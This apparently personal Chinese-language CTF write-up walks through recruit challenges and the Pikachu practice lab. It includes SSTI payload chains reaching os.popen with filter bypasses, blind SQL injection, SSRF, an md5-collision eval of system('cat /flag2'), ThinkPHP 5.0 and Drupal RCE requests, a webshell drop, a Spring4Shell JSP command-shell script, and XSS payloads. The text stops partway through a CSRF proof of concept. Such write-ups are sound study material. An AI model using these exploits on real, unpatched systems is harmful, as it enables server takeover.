0,1</p><p>终于爆出来了</p><p>可能是我脚本的问题，速度是龟速，靠脚本还是花了好久时间，不过只是为了解出题那瞬间的多巴胺分泌带来的快感，也是值得的</p><p>找朋友要了个更快的自动化脚本</p><ol start="4"><li></li></ol><p>还是整形闭合</p><p>在朋友脚本的基础上改了一下做出来了</p><p>不过精确度不高</p><p>延时盲注的一些语句：</p><p>“1<br>and if((select count(table_name) from<br>information_schema.tables where table_schema &#x3D; ‘database()’) &#x3D; 1,sleep(2),1)</p><p>主要是运用if三元式和sleep的原理</p><p>YulinSec{0kfjtXaE8VJxXFG9BjZSy0Yn6dVLLMwbQ3OiaI20}</p><ol start="5"><li></li></ol><p>还不会</p><p>Babyurl</p><p>考察ssrf</p><p>urls&#x3D;<a href="http://127.0.0.1/flag.php">http://0x7F.0.0.1/flag.php</a></p><p><code>SSTI</code></p><p><code>1.</code></p><p><code>1.&#123;&#123;''.__class__&#125;&#125;   # 获得单引号的类型</code></p><p><code>2.&#123;&#123;''.__class__.__base__&#125;&#125; #获得object</code></p><p><code>3.&#123;&#123;''.__class__.__base__.__subclasses__()&#125;&#125;#获得基类</code></p><p><code>这里要写个脚本得到os._wrap_close的键值</code></p><p><code>4.&#123;&#123;''.__class__.__base__.__subclasses__()[127]&#125;&#125;#这里我们利用的是&lt;class</code><br><code>&#39;os._wrap_close&#39;&gt;类</code></p><p><code>5.&#123;&#123;''.__class__.__base__.__subclasses__()[127].__init__.__globals__&#125;&#125;#将该类实例化并且全局搜索查找所有的方法、变量和参数</code></p><p><code>6.&#123;&#123;''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('ls').read()&#125;&#125;#利用popen函数执行命令</code></p><p><code>7.&#123;&#123;''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('catflag').read()&#125;&#125;#最后获得flag</code></p><p><code>不是直接cat，但差不多吧</code></p><p><code>2.</code></p><p><code>过滤&#123;&#123;``用&#123;%print(来代替``比如``&#123;%print(''.__class__)%&#125;``然后按第一题思路就行``&#123;%print(''.__class__.__base__.__subclasses__()[127]) .__init__.__globals__['popen']('cat/flag').read()%&#125;``3.``过滤[]，用getitem``&#123;&#123;().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__.__getitem__('popen')('ls').read()&#125;&#125;</code></p><p><code>&#123;&#123;().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__.__getitem__('popen')('cat``/flag').read()&#125;&#125;</code></p><p><code>4.</code></p><p><code>过滤下划线</code></p><p><code>用16进制编码绕过</code></p><p><code>&#123;&#123;()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[127]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat``/flag').read() &#125;&#125;</code></p><p><code>5.</code></p><p><code>过滤单双引号</code></p><p><code>&#123;&#123;[].__class__.__mro__[1].__subclasses__()[127].__init__.__globals__[request.args.a](request.args.b).read()&#125;&#125;   同时get传参?a=popen&amp;b=cat /flag</code></p><p><code>6．</code></p><p><code>过滤小数点</code></p><p><code>&#123;&#123;()['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat``/flag')['read']()&#125;&#125;</code></p><p><code>7.</code></p><p><code>过滤了一堆关键字</code></p><p><code>&#123;&#123;()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[127]['__in'+'it__']['__glo'+'bals__']['pop'+'en']('c'+'at``/fl'+'ag')['re'+'ad']()&#125;&#125;</code></p><p><code>#</code> </p><h1 id="part2"><a href="#part2" class="headerlink" title="part2:"></a>part2:</h1><h1 id="YuLin-2023-Recruit-Writeup-part-2"><a href="#YuLin-2023-Recruit-Writeup-part-2" class="headerlink" title="YuLin 2023 Recruit Writeup part 2"></a>YuLin 2023 Recruit Writeup part 2</h1><p>word太难用了，于是part2都用md来写</p><h2 id="Easy-盒武器"><a href="#Easy-盒武器" class="headerlink" title="[Easy]盒武器"></a>[Easy]盒武器</h2><h3 id="picture1"><a href="#picture1" class="headerlink" title="picture1"></a>picture1</h3><p>识图出来：武汉理工大学南湖校区心至楼</p><h3 id="picture2"><a href="#picture2" class="headerlink" title="picture2"></a>picture2</h3><p>在地图附件找武汉长江大桥的公园</p><p>试出来：湖北省武汉市汉阳区龟山北路5号龟山风景区</p><p>看出题人空间找到10.4到10.5的武汉游玩信息</p><p>穷举试出来：2023年10月05日18时</p><h2 id="babyphp"><a href="#babyphp" class="headerlink" title="babyphp"></a>babyphp</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">&quot;flag.php&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]) &amp;&amp; <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;b&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">if</span>((<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>] != <span class="variable">$_GET</span>[<span class="string">&#x27;b&#x27;</span>]) &amp;&amp; (<span class="title function_ invoke__">sha1</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]) == <span class="title function_ invoke__">sha1</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;b&#x27;</span>])))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;flag1: &#x27;</span>.<span class="variable">$flag1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">die</span>(<span class="string">&#x27;a is not equal to b&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ((<span class="keyword">string</span>)<span class="variable">$_GET</span>[<span class="string">&#x27;Yu&#x27;</span>] !== (<span class="keyword">string</span>)<span class="variable">$_GET</span>[<span class="string">&#x27;lin&#x27;</span>] &amp;&amp; (<span class="title function_ invoke__">md5</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;Yu&#x27;</span>]) === <span class="title function_ invoke__">md5</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;lin&#x27;</span>]))) &#123;</span><br><span class="line">    <span class="keyword">eval</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;Yu&#x27;</span>]);</span><br><span class="line">    <span class="comment">//cat /flag2</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>第二个flag考察fastcoll，用fastcoll生成两个md5相同的字符串，由于有不可见字符，要url编码之后get传参</p><p>注意这里根据题目要求，生成文件要用system(‘cat &#x2F;flag2’);#</p><p>#用于截断，eval只执行system(‘cat &#x2F;flag2’);</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">readmyfile</span>(<span class="params"><span class="variable">$path</span></span>)</span>&#123;</span><br><span class="line"> <span class="variable">$fh</span> = <span class="title function_ invoke__">fopen</span>(<span class="variable">$path</span>, <span class="string">&quot;rb&quot;</span>);</span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">fread</span>(<span class="variable">$fh</span>, <span class="title function_ invoke__">filesize</span>(<span class="variable">$path</span>));</span><br><span class="line"> <span class="title function_ invoke__">fclose</span>(<span class="variable">$fh</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$data</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">readmyfile</span>(<span class="string">&quot;G:\php\app\php-7.4.5-Win32-vc15-x64\a_msg1.txt&quot;</span>));</span><br><span class="line"><span class="variable">$b</span> = <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">readmyfile</span>(<span class="string">&quot;G:\php\app\php-7.4.5-Win32-vc15-x64\a_msg2.txt&quot;</span>));</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">md5</span>((<span class="keyword">string</span>)<span class="title function_ invoke__">urldecode</span>(<span class="variable">$a</span>))===<span class="title function_ invoke__">md5</span>((<span class="keyword">string</span>)<span class="title function_ invoke__">urldecode</span>(<span class="variable">$b</span>)))&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;a:&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$a</span>;</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">urldecode</span>(<span class="variable">$a</span>)!=<span class="title function_ invoke__">urldecode</span>(<span class="variable">$b</span>))&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;b:&quot;</span>;    </span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$b</span>;</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;a url 编码的MD5:&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">md5</span>(<span class="title function_ invoke__">urldecode</span>(<span class="variable">$a</span>));</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;a url 编码的MD5:&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">md5</span>(<span class="title function_ invoke__">urldecode</span>(<span class="variable">$b</span>));</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;复制a url 的MD5&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">md5</span>(<span class="string">&quot;leon%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%1FU%F8%24%DA%25Q%F8j%FE%21%F9u%3D9%88%08%11%BC9s%97%CC%E1%18%C2%80E%B0%1D%0Cw%A1%EB%FE%BD%CC%CE%1A%8C%0B%C8%F7%02%E3%F1%09o%84%A8%E6n%E0%1F%8E%7B%17l%01W%DF%FD%40eu%D9%E6f%12%AA%98Z%7F%9A%C1%2A%D9i%CB%0CE%F2X%18%8A%CD%FE%1C+%29%AF%07J%7C%F1%BD%8D_%7Bd%D4%DA%B0%87%22%1D%05%D2%99L%05%3F%CA%84%10%B1%B6%D6%C3qr%29%12m%ED%C4%D0%FB&quot;</span>);</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;复制b url 的MD5&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> PHP_EOL;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">md5</span>(<span class="string">&quot;leon%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%1FU%F8%24%DA%25Q%F8j%FE%21%F9u%3D9%88%08%11%BC%B9s%97%CC%E1%18%C2%80E%B0%1D%0Cw%A1%EB%FE%BD%CC%CE%1A%8C%0B%C8%F7%02%E3q%0Ao%84%A8%E6n%E0%1F%8E%7B%17l%01%D7%DF%FD%40eu%D9%E6f%12%AA%98Z%7F%9A%C1%2A%D9i%CB%0CE%F2X%98%8A%CD%FE%1C+%29%AF%07J%7C%F1%BD%8D_%7Bd%D4%DA%B0%87%22%1D%05%D2%99%CC%04%3F%CA%84%10%B1%B6%D6%C3qr%29%12%ED%ED%C4%D0%FB&quot;</span>);</span><br><span class="line"><span class="variable">$code</span>=<span class="string">&quot;echo 1234 ;#efsdghfgj&quot;</span>;</span><br><span class="line"><span class="keyword">eval</span>(<span class="string">&quot;<span class="subst">$code</span>&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://43.142.109.233:2003/?Yu=system%28%27cat+%2Fflag2%27%29%3B%23%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00f%AB%0F%AE%F7%7C%8DQ8%AA%84%A7Z%06%AD%E8%91F%DE%8DL%D5AUE%B27A%8C%06%89w%3D%BB%AD%CF%F2%28Mp%8F%F0%D5%1C%A0%C9%EAZd%DA%F7%7D%8C%05%ED4%9B%ECXE%88%2F%9F%C5%BA%E8%BAX%2F.%DD%B9%BDJ%B3%7C%96G%3C%3B%A7A%C1x8%9B1%B2%AB%C30%B8%A6_%88%A8%D7%BD%EA%E7%9F%043%FE5%40%0C4Q%F8%F9%C3%B2%EFwp%8AQv%3D%C7aq%BFV%F5%86X&amp;lin=system%28%27cat+%2Fflag2%27%29%3B%23%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00f%AB%0F%AE%F7%7C%8DQ8%AA%84%A7Z%06%AD%E8%91F%DE%0DL%D5AUE%B27A%8C%06%89w%3D%BB%AD%CF%F2%28Mp%8F%F0%D5%1C%A0I%EBZd%DA%F7%7D%8C%05%ED4%9B%ECX%C5%88%2F%9F%C5%BA%E8%BAX%2F.%DD%B9%BDJ%B3%7C%96G%3C%3B%A7A%C1%F88%9B1%B2%AB%C30%B8%A6_%88%A8%D7%BD%EA%E7%9F%043%FE5%40%0C4Qx%F9%C3%B2%EFwp%8AQv%3D%C7aq%3FV%F5%86X</span><br></pre></td></tr></table></figure><h2 id="EASY-Script-Kiddie"><a href="#EASY-Script-Kiddie" class="headerlink" title="[EASY]Script Kiddie"></a>[EASY]Script Kiddie</h2><p>既然当脚本小子我就只求结果了（</p><h3 id="thinkphp-5-0"><a href="#thinkphp-5-0" class="headerlink" title="thinkphp 5.0"></a>thinkphp 5.0</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/index.php?s=/Index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=whoami</span><br></pre></td></tr></table></figure><h3 id="drupal"><a href="#drupal" class="headerlink" title="drupal"></a>drupal</h3><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>121.5.35.176:30003</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>173</span><br><span class="line"></span><br><span class="line"><span class="language-prolog">form_id=user_register_form&amp;<span class="symbol">_drupal_ajax</span>=<span class="number">1</span>&amp;mail[#post_render][]=exec&amp;mail[#type]=markup&amp;mail[#markup]=echo <span class="string">&quot;PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==&quot;</span> |base64 -d |tee test.php</span></span><br></pre></td></tr></table></figure><p>配合使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://121.5.35.176:30003/test.php?8=system(&#x27;cat /flag&#x27;);</span><br></pre></td></tr></table></figure><h3 id="spring"><a href="#spring" class="headerlink" title="spring"></a>spring</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">headers=&#123;</span><br><span class="line">    <span class="string">&quot;suffix&quot;</span>: <span class="string">&quot;%&gt;//&quot;</span>,</span><br><span class="line">    <span class="string">&quot;c1&quot;</span>: <span class="string">&quot;Runtime&quot;</span>,</span><br><span class="line">    <span class="string">&quot;c2&quot;</span>: <span class="string">&quot;&lt;%&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">payload1=<span class="string">&#x27;/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%&#123;c2&#125;i if(&quot;fuck&quot;.equals(request.getParameter(&quot;pwd&quot;)))&#123; java.io.InputStream in = %&#123;c1&#125;i.getRuntime().exec(request.getParameter(&quot;cmd&quot;)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1)&#123; out.println(new String(b)); &#125; &#125; %&#123;suffix&#125;i&amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&#x27;</span></span><br><span class="line">ip=<span class="string">&quot;http://121.5.35.176:30004/&quot;</span></span><br><span class="line">payload2=<span class="string">&#x27;/fuck.jsp?pwd=fuck&amp;cmd=id&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    U1=requests.get(url=ip+payload1,headers=headers,verify=<span class="literal">False</span>,timeout=<span class="number">3</span>)</span><br><span class="line">    U2=requests.get(url=ip+payload2,verify=<span class="literal">False</span>,timeout=<span class="number">3</span>)</span><br><span class="line">    <span class="keyword">if</span> U2.status_code == <span class="number">200</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;The VULN CVE-2022-22965 exists, payload</span></span><br></pre></td></tr></table></figure><p>配合</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://121.5.35.176:30004/fuck.jsp?pwd=fuck&amp;cmd=cat /flag</span><br></pre></td></tr></table></figure><h3 id="绝对音感"><a href="#绝对音感" class="headerlink" title="绝对音感"></a>绝对音感</h3><p>wav拖到010editor里，最后一段发现提示：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">The interval of each byte data is <span class="number">9</span> <span class="keyword">and</span> the first byte is at the beginning of the wav data</span><br></pre></td></tr></table></figure><p>c写了个脚本跑出来邮件：</p><p>Dear Friend ; Especially for you - this red-hot announcement<br>! We will comply with all removal requests ! This mail<br>is being sent in compliance with Senate bill 2116 ;<br>Title 1 ; Section 303 ! This is NOT unsolicited bulk<br>mail ! Why work for somebody else when you can become<br>rich within 81 months . Have you ever noticed nearly<br>every commercial on television has a .com on in it<br>and nearly every commercial on television has a .com<br>on in it . Well, now is your chance to capitalize on<br>this ! We will help you deliver goods right to the<br>customer’s doorstep and use credit cards on your website<br>! You can begin at absolutely no cost to you . But<br>don’t believe us . Ms Ames who resides in New Jersey<br>tried us and says “Now I’m rich many more things are<br>possible” ! This offer is 100% legal . So make yourself<br>rich now by ordering immediately ! Sign up a friend<br>and you get half off . Thanks ! Dear Salaryman ; Especially<br>for you - this amazing intelligence ! If you are not<br>interested in our publications and wish to be removed<br>from our lists, simply do NOT respond and ignore this<br>mail . This mail is being sent in compliance with Senate<br>bill 2716 , Title 3 , Section 303 ! This is different<br>than anything else you’ve seen . Why work for somebody<br>else when you can become rich within 87 days . Have<br>you ever noticed most everyone has a cellphone and<br>society seems to be moving faster and faster . Well,<br>now is your chance to capitalize on this ! WE will<br>help YOU use credit cards on your website &amp; turn your<br>business into an E-BUSINESS . You can begin at absolutely<br>no cost to you ! But don’t believe us ! Mr Ames of<br>Colorado tried us and says “I’ve been poor and I’ve<br>been rich - rich is better” ! We are licensed to operate<br>in all states . Do not delay - order today ! Sign up<br>a friend and you’ll get a discount of 50% . Thank-you<br>for your serious consideration of our offer .</p><p>然后根据提示可以把垃圾邮件给解密</p><p>用这个网站</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.spammimic.com/decode.cgi</span><br></pre></td></tr></table></figure><h3 id="【Mid】MidBypass"><a href="#【Mid】MidBypass" class="headerlink" title="【Mid】MidBypass"></a>【Mid】MidBypass</h3><p>提示说了有disable_function,给了一个后门</p><p>蚁剑一下，第一个flag直接送了，其他路径看不了</p><p>还有一个open basedir</p><p>phpinfo先看看</p><hr><p>搜了好多关于imagematrick的文件上传漏洞，但是现在还没搞懂写入的png怎么执行命令🥲</p><p>蚁剑插件作弊过了，以后有机会要复现一下</p><h2 id="pikachu"><a href="#pikachu" class="headerlink" title="pikachu"></a>pikachu</h2><p>先部署靶场，我直接放在本地127.0.0.1了</p><h3 id="解锁皮卡丘的密码"><a href="#解锁皮卡丘的密码" class="headerlink" title="解锁皮卡丘的密码"></a>解锁皮卡丘的密码</h3><h3 id="暴力破解"><a href="#暴力破解" class="headerlink" title="暴力破解"></a>暴力破解</h3><h4 id="1-基于表单暴力破解"><a href="#1-基于表单暴力破解" class="headerlink" title="1.基于表单暴力破解"></a>1.基于表单暴力破解</h4><p>火狐改下设置抓本地包</p><p>burp抓包爆破，爆出来密码123456</p><h4 id="2-基于前端的验证码绕过（on-server）"><a href="#2-基于前端的验证码绕过（on-server）" class="headerlink" title="2. 基于前端的验证码绕过（on server）"></a>2. 基于前端的验证码绕过（on server）</h4><p>随便试了下密码怎么还是123456……..</p><p>先burp抓包，然后发现一次抓包中验证码不用改</p><p>就和1一样了</p><h4 id="3-基于前端的验证码绕过（on-client）"><a href="#3-基于前端的验证码绕过（on-client）" class="headerlink" title="3.基于前端的验证码绕过（on client）"></a>3.基于前端的验证码绕过（on client）</h4><p>试了一下验证码是前端的，那么抓包直接去掉，和1一样</p><p>密码测出来还是123456</p><h4 id="4-token防暴破"><a href="#4-token防暴破" class="headerlink" title="4.token防暴破"></a>4.token防暴破</h4><p>初见还真没思路，搜索了一下</p><p>抓包pitchfork爆破密码和token</p><p>如图在extract选中token</p><p><img src="https://bu.dusays.com/2023/11/03/65450f2ca0453.png"></p><p>如图填入第一个token,并选择递归搜索</p><p><img src="https://bu.dusays.com/2023/11/03/65450f2d84a29.png"></p><p>成功，密码当然还是12345</p><h3 id="XSS"><a href="#XSS" class="headerlink" title="XSS"></a>XSS</h3><h4 id="1-反射型xss-get"><a href="#1-反射型xss-get" class="headerlink" title="1.反射型xss(get)"></a>1.反射型xss(get)</h4><p>试了一堆球星，只认识科比，有点难绷。</p><p>试了下限制长度，f12改掉就行，再输入</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="title function_">alert</span>(<span class="number">1</span>)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>成功弹窗</p><h4 id="2-反射性xss-post"><a href="#2-反射性xss-post" class="headerlink" title="2.反射性xss(post)"></a>2.反射性xss(post)</h4><p>出bug了，我这题出现了登录框</p><p>搜索这题本来的样子，然后脑过吧</p><p>改成post就是post传参</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="title function_">alert</span>(<span class="number">1</span>)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h4 id="3-存储型xss"><a href="#3-存储型xss" class="headerlink" title="3.存储型xss"></a>3.存储型xss</h4><p>也是输入</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="title function_">alert</span>(<span class="number">1</span>)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h4 id="4-DOM型xss"><a href="#4-DOM型xss" class="headerlink" title="4.DOM型xss"></a>4.DOM型xss</h4><p>f12看到提示</p><pre><code>                function domxss()&#123;                    var str = document.getElementById(&quot;text&quot;).value;                    document.getElementById(&quot;dom&quot;).innerHTML = &quot;&lt;a href=&#39;&quot;+str+&quot;&#39;&gt;what do you see?&lt;/a&gt;&quot;;                &#125;                //试试：&#39;&gt;&lt;img src=&quot;#&quot; onmouseover=&quot;alert(&#39;xss&#39;)&quot;&gt;                //试试：&#39; onclick=&quot;alert(&#39;xss&#39;)&quot;&gt;,闭合掉就行</code></pre><p>输入</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; onclick=&quot;alert(&#x27;</span>leon<span class="string">&#x27;)&quot;&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/11/03/65450f2e4b09e.png"></p><p>原理就是提前闭合，让href的属性为onclick</p><h4 id="5-xss盲打"><a href="#5-xss盲打" class="headerlink" title="5.xss盲打"></a>5.xss盲打</h4><p>上下两个框都填上</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="title function_">alert</span>(<span class="number">1</span>)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>然后根据提示登录留言板后台，就弹窗了</p><h4 id="6-xss之过滤"><a href="#6-xss之过滤" class="headerlink" title="6.xss之过滤"></a>6.xss之过滤</h4><p>过滤script,大小写绕过</p><h4 id="7-xss之htmlspecialchars"><a href="#7-xss之htmlspecialchars" class="headerlink" title="7.xss之htmlspecialchars"></a>7.xss之htmlspecialchars</h4><p>specialchars函数会把单双引号和尖括号都转义了，但是试了一下这里没过滤单引号</p><p>playload:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; onclick=&#x27;</span><span class="title function_">alert</span>(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><h4 id="8-xss之href输出"><a href="#8-xss之href输出" class="headerlink" title="8.xss之href输出"></a>8.xss之href输出</h4><p>过滤单双引号，用伪协议绕过</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">javascript</span>:<span class="title function_">alert</span>(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><h4 id="9-xss之js输出"><a href="#9-xss之js输出" class="headerlink" title="9.xss之js输出"></a>9.xss之js输出</h4><p>提前闭合第一个script</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">’&lt;<span class="regexp">/script&gt;&lt;script&gt;alert(1)&lt;/</span>script&gt;</span><br></pre></td></tr></table></figure><h3 id="CSRF"><a href="#CSRF" class="headerlink" title="CSRF"></a>CSRF</h3><h4 id="1-CSRF-get-login"><a href="#1-CSRF-get-login" class="headerlink" title="1.CSRF(get) login"></a>1.CSRF(get) login</h4><p>抓包修改个人信息，用burp生成csrf poc:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&lt;html&gt;</span><br><span class="line">  &lt;!-- CSRF 